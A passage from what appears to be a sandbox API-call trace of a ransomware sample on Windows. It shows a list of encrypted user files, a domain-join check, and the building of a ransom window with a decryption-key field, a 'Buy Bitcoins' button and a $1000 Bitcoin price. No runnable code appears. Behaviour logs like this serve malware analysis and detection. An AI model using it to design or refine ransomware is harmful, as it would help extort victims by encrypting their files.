(hWnd=0x701ea, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0046.095] SendMessageW (hWnd=0x701ea, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0046.095] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.095] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0046.095] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.095] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.095] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.095] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0046.095] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.095] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0046.095] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0046.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0046.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xe0d6934070, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0046.103] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0046.104] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xe0d659e0d8, BufferType=0xe0d659e100 | out: lpNameBuffer=0xe0d659e0d8*="WORKGROUP", BufferType=0xe0d659e100) returned 0x0 [0046.108] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0046.109] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.109] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.109] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.109] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0046.110] PeekMessageW (in: lpMsg=0xe0d659e0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e0c0) returned 0 [0046.110] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0046.110] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0046.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0046.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xe0d69346f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0046.116] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0046.116] NetApiBufferSize (in: Buffer=0xe0d694b3c0, ByteCount=0xe0d659d838 | out: ByteCount=0xe0d659d838) returned 0x0 [0046.116] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0046.117] PeekMessageW (in: lpMsg=0xe0d659e0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e0c0) returned 0 [0046.117] PeekMessageW (in: lpMsg=0xe0d659e0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e0c0) returned 0 [0046.118] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0046.118] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 1 [0046.118] TranslateMessage (lpMsg=0xe0d659e960) returned 0 [0046.118] DispatchMessageW (lpMsg=0xe0d659e960) returned 0xffffffff [0046.118] GetForegroundWindow () returned 0x301cc [0046.118] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0046.118] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.119] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.119] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0046.119] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0046.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0046.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0xe0d69346d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0046.125] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0046.125] NetApiBufferFree (Buffer=0xe0d694b3c0) returned 0x0 [0046.125] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0046.126] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659e960) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659f040, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f040) returned 0 [0046.127] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.127] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x50216, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa018a [0046.128] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.128] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x50001, lParam=0xa018a) returned 0x0 [0046.128] GetStockObject (i=17) returned 0x10a0047 [0046.128] SendMessageW (hWnd=0xa018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0046.128] GetSysColor (nIndex=18) returned 0x0 [0046.128] GetClientRect (in: hWnd=0xa018a, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.128] GetWindowRect (in: hWnd=0xa018a, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.128] SetWindowLongPtrW (hWnd=0xa018a, nIndex=-21, dwNewLong=0x5) returned 0x0 [0046.128] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.129] GetDC (hWnd=0x0) returned 0x11010729 [0046.129] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0046.129] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0046.129] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffffdc0a07c6 [0046.129] SendMessageW (hWnd=0xa018a, Msg=0x30, wParam=0xffffffffdc0a07c6, lParam=0x1) returned 0x0 [0046.129] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.129] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.129] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x50216, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xa01e6 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] GetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21) returned 0x0 [0046.130] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x111, wParam=0x4000006, lParam=0xa01e6) returned 0x0 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] GetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21) returned 0x0 [0046.130] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x111, wParam=0x3000006, lParam=0xa01e6) returned 0x0 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x55, wParam=0xa01e6, lParam=0x3) returned 0x2 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0046.130] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.130] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x60001, lParam=0xa01e6) returned 0x0 [0046.131] GetStockObject (i=17) returned 0x10a0047 [0046.131] SendMessageW (hWnd=0xa01e6, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0046.131] GetClientRect (in: hWnd=0xa01e6, lpRect=0xe0d659f0b0 | out: lpRect=0xe0d659f0b0) returned 1 [0046.131] GetWindowRect (in: hWnd=0xa01e6, lpRect=0xe0d659f0b0 | out: lpRect=0xe0d659f0b0) returned 1 [0046.131] SetWindowLongPtrW (hWnd=0xa01e6, nIndex=-21, dwNewLong=0x6) returned 0x0 [0046.131] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.131] GetDC (hWnd=0x0) returned 0x11010729 [0046.131] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0046.131] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0046.131] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0xffffffffcc0a06d5 [0046.131] SendMessageW (hWnd=0xa01e6, Msg=0x30, wParam=0xffffffffcc0a06d5, lParam=0x1) returned 0x1 [0046.132] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.132] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0x50216, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x7011c [0046.132] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.132] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x55, wParam=0x7011c, lParam=0x3) returned 0x2 [0046.132] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.132] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0046.133] GetWindowLongPtrW (hWnd=0x50216, nIndex=-21) returned 0x0 [0046.133] NtdllDialogWndProc_W (hDlg=0x50216, Msg=0x210, wParam=0x70001, lParam=0x7011c) returned 0x0 [0046.133] GetStockObject (i=17) returned 0x10a0047 [0046.133] SendMessageW (hWnd=0x7011c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0046.133] GetClientRect (in: hWnd=0x7011c, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.133] GetWindowRect (in: hWnd=0x7011c, lpRect=0xe0d659f0a0 | out: lpRect=0xe0d659f0a0) returned 1 [0046.133] SetWindowLongPtrW (hWnd=0x7011c, nIndex=-21, dwNewLong=0x7) returned 0x0 [0046.133] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.133] GetDC (hWnd=0x0) returned 0x11010729 [0046.133] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0046.133] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0046.133] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x6b0a0710 [0046.133] SendMessageW (hWnd=0x7011c, Msg=0x30, wParam=0x6b0a0710, lParam=0x1) returned 0x0 [0046.133] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.134] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0046.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f190, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f190*=0) returned 1 [0046.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f180, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f180*=0) returned 1 [0046.134] ReadFile (in: hFile=0x194, lpBuffer=0xe0d69694d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659f1c0, lpOverlapped=0x0 | out: lpBuffer=0xe0d69694d0*, lpNumberOfBytesRead=0xe0d659f1c0*=0x1b, lpOverlapped=0x0) returned 1 [0046.134] ReadFile (in: hFile=0x194, lpBuffer=0xe0d69694d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659f1c0, lpOverlapped=0x0 | out: lpBuffer=0xe0d69694d0*, lpNumberOfBytesRead=0xe0d659f1c0*=0x0, lpOverlapped=0x0) returned 1 [0046.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0046.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f200, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f200*=27) returned 1 [0046.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f200, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f200*=0) returned 1 [0046.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xe0d659f150, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe0d659f150*=0) returned 1 [0046.135] ReadFile (in: hFile=0x194, lpBuffer=0xe0d69694d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe0d659f190, lpOverlapped=0x0 | out: lpBuffer=0xe0d69694d0*, lpNumberOfBytesRead=0xe0d659f190*=0x1b, lpOverlapped=0x0) returned 1 [0046.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe0d694ba40, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0046.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe0d694ba40, cbMultiByte=28, lpWideCharStr=0xe0d694b640, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0046.135] CloseHandle (hObject=0x194) returned 1 [0046.135] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.135] 